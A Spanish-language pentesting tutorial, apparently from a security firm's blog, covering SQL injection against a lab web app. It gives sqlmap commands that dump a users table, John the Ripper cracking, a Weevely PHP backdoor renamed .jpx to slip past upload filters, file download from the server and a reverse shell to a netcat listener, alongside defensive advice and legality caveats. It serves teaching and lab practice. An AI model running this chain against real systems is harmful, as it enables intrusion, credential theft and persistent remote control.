Introducción
En el ámbito de la seguridad informática, la protección de aplicaciones web es una prioridad crítica. Las vulnerabilidades como el SQL Injection representan una de las amenazas más comunes y peligrosas, permitiendo a atacantes acceder y manipular bases de datos sin autorización. Complementariamente, la posibilidad de introducir un backdoor PHP brinda al atacante una puerta trasera para mantener el acceso persistente y controlar remotamente el servidor.
Este artículo técnico aborda en detalle un enfoque práctico y didáctico para identificar y explotar vulnerabilidades de inyección SQL en aplicaciones web, así como la carga y uso de una puerta trasera PHP para establecer un control completo sobre el sistema comprometido. Los métodos y herramientas que se describen están orientados a profesionales y entusiastas en seguridad informática y pentesting, con el objetivo de profundizar en el conocimiento, las técnicas y las mejores prácticas para realizar pruebas efectivas y éticas de penetración.
Conceptos básicos y contexto
¿Qué es la inyección SQL?
La inyección SQL (SQLi) es una técnica de ataque que apunta a aplicaciones web que interactúan con bases de datos SQL. Consiste en insertar o “inyectar” fragmentos de código SQL malicioso a través de un parámetro de entrada (como formularios o URLs), con la intención de alterar la consulta original que la aplicación ejecuta en el servidor de base de datos.
Esta vulnerabilidad permite, entre otras cosas, acceder a información confidencial, modificar datos o incluso ejecutar comandos en el sistema.
Importancia del pentesting en aplicaciones web
El pentesting, o pruebas de penetración, buscan simular ataques reales para detectar y mitigar vulnerabilidades antes de que sean explotadas maliciosamente. En aplicaciones web, donde la superficie de ataque es amplia y compleja, identificar fallos como SQLi es crucial para asegurar la integridad, confidencialidad y disponibilidad de los datos y servicios.
Entorno de trabajo y herramientas
Plataformas y entornos virtuales
Para llevar a cabo pruebas de seguridad controladas, es recomendable utilizar sistemas operativos especializados en pentesting, como Kali Linux. Kali incluye una suite completa de herramientas para análisis y explotación.
Adicionalmente, se recomienda emplear aplicaciones vulnerables en entornos aislados para práctica y evaluación, como las imágenes ISO suministradas por PentesterLab y otras plataformas educativas.
Herramientas utilizadas
- sqlmap: Herramienta automatizada para detectar y explotar vulnerabilidades SQLi, que facilita la enumeración y extracción de datos.
- Weevely: Backdoor web en PHP que permite canalizar un shell remoto a través de peticiones HTTP, para control y exfiltración.
- Netcat (nc): Utilidad para conexiones TCP/UDP, que permite crear listeners y establecer shells reversos.
- John the Ripper / Hashcat: Herramientas reconocidas para crackeo de hashes y recuperación de contraseñas.
- PySocks: Módulo Python para redirección de conexiones a través de proxies, necesario para algunas funcionalidades de Weevely.
Identificación de vulnerabilidades SQLi
Reconocimiento inicial mediante manipulación de parámetros
Para descubrir si una aplicación es vulnerable a inyección SQL, uno de los métodos más efectivos es analizar la manipulación de parámetros en URLs o formularios.
Por ejemplo, si la URL es:
http://target_ip/cat/php?id=1
Podemos modificar el parámetro id
por valores especiales, como:
- Valores numéricos alterados (1, 2, 3, etc.) para observar cambios en la respuesta.
- Agregar caracteres especiales como la comilla simple (
'
) para generar errores SQL que evidencien vulnerabilidades. - Manipular el parámetro con sentencias SQL maliciosas para probar inyección.
Si tras colocar una comilla simple la aplicación retorna un error SQL, se confirma una falla potencial, un punto de partida para análisis más profundos.
Uso de sqlmap para detectar y enumerar bases de datos
La herramienta sqlmap automatiza la detección y explotación de SQLi. Los comandos básicos para comenzar incluyen:

Comando | Descripción |
---|---|
sqlmap -u "http://target_ip/cat/php?id=1" --dbs | Detecta la vulnerabilidad e identifica bases de datos disponibles. |
sqlmap -u "http://target_ip/cat/php?id=1" -D photoblog --tables | Lista las tablas en la base de datos photoblog . |
sqlmap -u "http://target_ip/cat/php?id=1" -D photoblog -T users --columns | Muestra las columnas en la tabla users . |
sqlmap -u "http://target_ip/cat/php?id=1" -D photoblog -T users -C id,login,password --dump | Extrae los datos de las columnas especificadas. |
Estos pasos permiten comprender la estructura de la base y acceder a datos potencialmente sensibles, como contraseñas cifradas.
Crackeo de contraseñas obtenidas
Formatos de hashes y su análisis
Las contraseñas extraídas comúnmente están hasheadas. Los formatos más comunes incluyen MD5, SHA-1, bcrypt, entre otros. Identificar correctamente el tipo de hash es crucial para un crackeo efectivo.
Herramientas para recuperación de contraseñas
Existen varias aplicaciones para descifrar hashes, entre ellas:
- John the Ripper: Soporta múltiples algoritmos y permite el uso de diccionarios y ataques de fuerza bruta.
- Cain & Abel: Herramienta gráfica para Windows con funciones avanzadas de crackeo.
- Hashcat: Aprovecha GPUs para acelerar el proceso de descifrado.
Ejemplo de uso básico de John the Ripper:
john --wordlist=/ruta/diccionario.txt archivo_hashes.txt
Obtención de acceso administrativo
Una vez descifradas las credenciales, se puede acceder legítimamente a la interfaz de administración, facilitando así exploración y manipulación avanzada.
Carga y uso de backdoor PHP con Weevely
¿Qué es Weevely y para qué sirve?
Weevely es una herramienta para crear backdoors web en PHP que permiten una consola de comandos remota encubierta dentro de una aplicación web, útil para exfiltrar datos, ejecutar comandos y mantener acceso persistente.
Preparativos para usar Weevely
Antes de generar y cargar un backdoor, es importante preparar el entorno:
- Instalar PySocks, necesario para el funcionamiento de Weevely con proxies.
- Descargar Weevely desde su repositorio oficial.
- Generar el archivo PHP con contraseña para protección.
Ejemplo para generar la backdoor:
python Weevely.py generate hacked /root/Desktop/web.php.jpx
Nota: La extensión .jpx
se usa para evitar bloqueos en la carga de archivos con extensión .php
.
Subida encubierta al servidor
Utilizando funciones legítimas de la aplicación, se sube el backdoor renombrado para evitar bloqueos. El archivo se almacena en un directorio accesible, como admin/uploads/
.
Acceso remoto y operaciones básicas
Para conectarse al backdoor:
python Weevely.py http://target_ip/admin/uploads/web.php.jpx hacked
Una vez conectado, se pueden realizar operaciones como:

- Listar archivos y directorios.
- Descargar o subir archivos.
- Ejecutar comandos de sistema.
Exfiltración de datos mediante Weevely
Es posible descargar archivos sensibles desde el servidor hacia el sistema local para análisis o extracción de evidencia.
Ejemplo de comando para descarga:
:file_download /var/www/admin/uploads/hacker.png /root/Desktop/hacker.png
Creación de TCP reverse shell
Configuración del listener con Netcat
Para recibir la conexión inversa, primero se debe dejar abierto un puerto de escucha:
nc -l -p 5412
Esto abre el puerto 5412 para recibir conexiones externas.
Establecimiento de la conexión inversa con Weevely
Dentro de la consola Weevely, se crea el shell reverso que conecta al listener:
:backdoor_reversetcp kali_ip 5412
Con esto, se obtiene shell interactiva con control total sobre el servidor comprometido.
Si querés complementar esta guía con una demostración práctica, te invitamos a ver este tutorial donde se expone el proceso completo con herramientas reales y ejemplos claros.
Buenas prácticas para minimizar riesgos
Evitar la explotación de SQLi y backdoors requiere implementar múltiples capas de defensa:
- Validación y saneamiento de entradas: Siempre limpiar y validar los datos recibidos antes de construir consultas SQL.
- Uso de consultas parametrizadas: Preparar sentencias SQL con parámetros para evitar concatenaciones directas.
- Control estricto de subida de archivos: Limitar extensiones permitidas y validar el contenido del archivo.
- Configuración segura del servidor y PHP: Deshabilitar funciones innecesarias y establecer permisos mínimos.
- Monitoreo y alertas: Implementar sistemas que detecten actividades sospechosas o intentos de explotación.
Comparativa de técnicas y herramientas para explotación de SQLi y backdoors
Herramienta/Técnica | Función principal | Ventajas | Limitaciones |
---|---|---|---|
sqlmap | Detección y explotación automática de SQLi | Automatiza ataques, soporta múltiples motores SQL | Puede ser detectado por IDS/IPS, requiere conocimiento para ajustes |
Weevely | Backdoor web PHP, acceso remoto y gestión de servidor | Encubrimiento, cifrado de contraseña, múltiples funcionalidades | Requiere carga exitosa, puede ser detectado por antivirus / WAF |
Netcat | Conexiones TCP/UDP para shells reversos y provisión de servicios | Sencillo y potente, disponible en casi todos sistemas Unix | Sin cifrado, detectabilidad alta si no se encubre |
Cain/John the Ripper/Hashcat | Crackeo de hashes y recuperación de contraseñas | Gran cantidad de algoritmos soportados y ataques avanzados | Puede ser lento para hashes robustos, requiere diccionarios |
Palabras clave relacionadas y su importancia
SQL Injection (SQLi)
Es fundamental entender cómo funcionan las inyecciones SQL, ya que constituyen una de las vulnerabilidades más explotadas en aplicaciones web. La detección temprana evita pérdidas de datos y accesos no autorizados.
Backdoor PHP
Un backdoor PHP es un script oculto que permite a un atacante controlar remotamente un servidor tras vulnerar la aplicación. Conocer su funcionamiento es clave para implementar sistemas de detección y respuesta.
sqlmap
Herramienta popular para análisis y explotación de SQLi. Su uso automatizado facilita pruebas de intrusión, pero demanda conocimiento para interpretación de resultados.
Weevely
Backdoor encapsulado en PHP que proporciona un shell remoto y funcionalidad completa. Es común en pruebas de penetración para mantener una conexión persistente.

Netcat
Utilidad básica pero poderosa para crear conexiones TCP, muy usada para shells reversos y transferencia de archivos en pentesting.
Crackeo de hashes
Proceso crucial para obtener contraseñas en texto plano a partir de sus versiones hasheadas. Los métodos varían desde ataques de diccionario hasta fuerza bruta y ataques combinados.
Validación de entradas
Práctica de seguridad que consiste en verificar y limpiar toda información recibida para evitar que datos maliciosos comprometan el sistema, punto clave para prevenir SQLi.
Preguntas frecuentes (FAQ)
¿Cómo puedo detectar una vulnerabilidad SQLi sin herramientas automáticas?
Se puede hacer mediante pruebas manuales, introduciendo caracteres como la comilla simple (‘), comentarios SQL (–), o sentencias básicas para observar errores en respuestas. Sin embargo, esto es limitado y más propenso a errores.
¿Qué precauciones debe tener al cargar un backdoor PHP?
Debe evitarse en entornos productivos sin autorización expresa, y al practicar, siempre usar entornos aislados. Además, el backdoor debe estar protegido con contraseña y oculto bajo nombres inofensivos para evitar detección prematura.
¿Por qué usar extensiones como .jpx en archivos PHP backdoor?
Muchas aplicaciones bloquean la subida de archivos con extensión .php para prevenir ejecución remota. Renombrar con extensiones poco comunes como .jpx permite eludir estas restricciones, aunque depende de la configuración del servidor.
¿Cómo puedo proteger mi aplicación de SQL Injection?
Implementando consultas parametrizadas, usando ORM confiables, validando y sanitizando entradas, aplicando reglas de firewall de aplicaciones web y limitando permisos en la base de datos.
¿Es legal realizar pruebas de SQLi y subidas de backdoors?
Solo si se cuenta con autorización explícita del propietario del sistema. Realizar estas actividades sin permiso es ilegal y penado por la ley.
¿Qué hacer si detecto un hash desconocido en la base de datos?
Investigar el tipo de cifrado o hash mediante herramientas de identificación. Luego usar métodos específicos para intentar su crackeo o solicitar ayuda experta.
¿El uso de sqlmap es detectable por sistemas de defensa?
Sí, sqlmap puede generar tráfico anómalo que podría ser detectado por sistemas de detección de intrusos (IDS) o firewalls de aplicaciones (WAF). Se recomienda ajustar su configuración para reducir trazabilidad.
¿Qué diferencias hay entre un shell reverso y un bind shell?
El shell reverso es iniciado por la víctima que conecta al atacante, facilitando superar firewalls salientes. El bind shell “escucha” en la víctima y el atacante se conecta a ella, pero es más fácil de bloquear.
¿Cómo saber en qué directorio se aloja el backdoor PHP?
Se puede determinar al revisar el código fuente o utilizar rastreo en la aplicación donde se subió el archivo para identificar su ruta de acceso y referencias.

Conclusión
La combinación de una inyección SQL y la posterior carga de un backdoor PHP constituye una amenaza crítica para cualquier aplicación web. En este artículo abordamos en detalle el proceso desde la identificación de vulnerabilidades hasta la explotación avanzada, utilizando herramientas profesionales y siguiendo un enfoque ético y metódico.
Realizar pruebas de penetración con estas técnicas fortalece la seguridad y prepara a los equipos para enfrentar ataques reales. Si buscas implementar este tipo de soluciones en tu empresa o contar con profesionales que te ayuden a proteger tus sistemas, en Código6 estamos a tu disposición. Contactanos para comenzar tu proyecto hoy.
Leave A Comment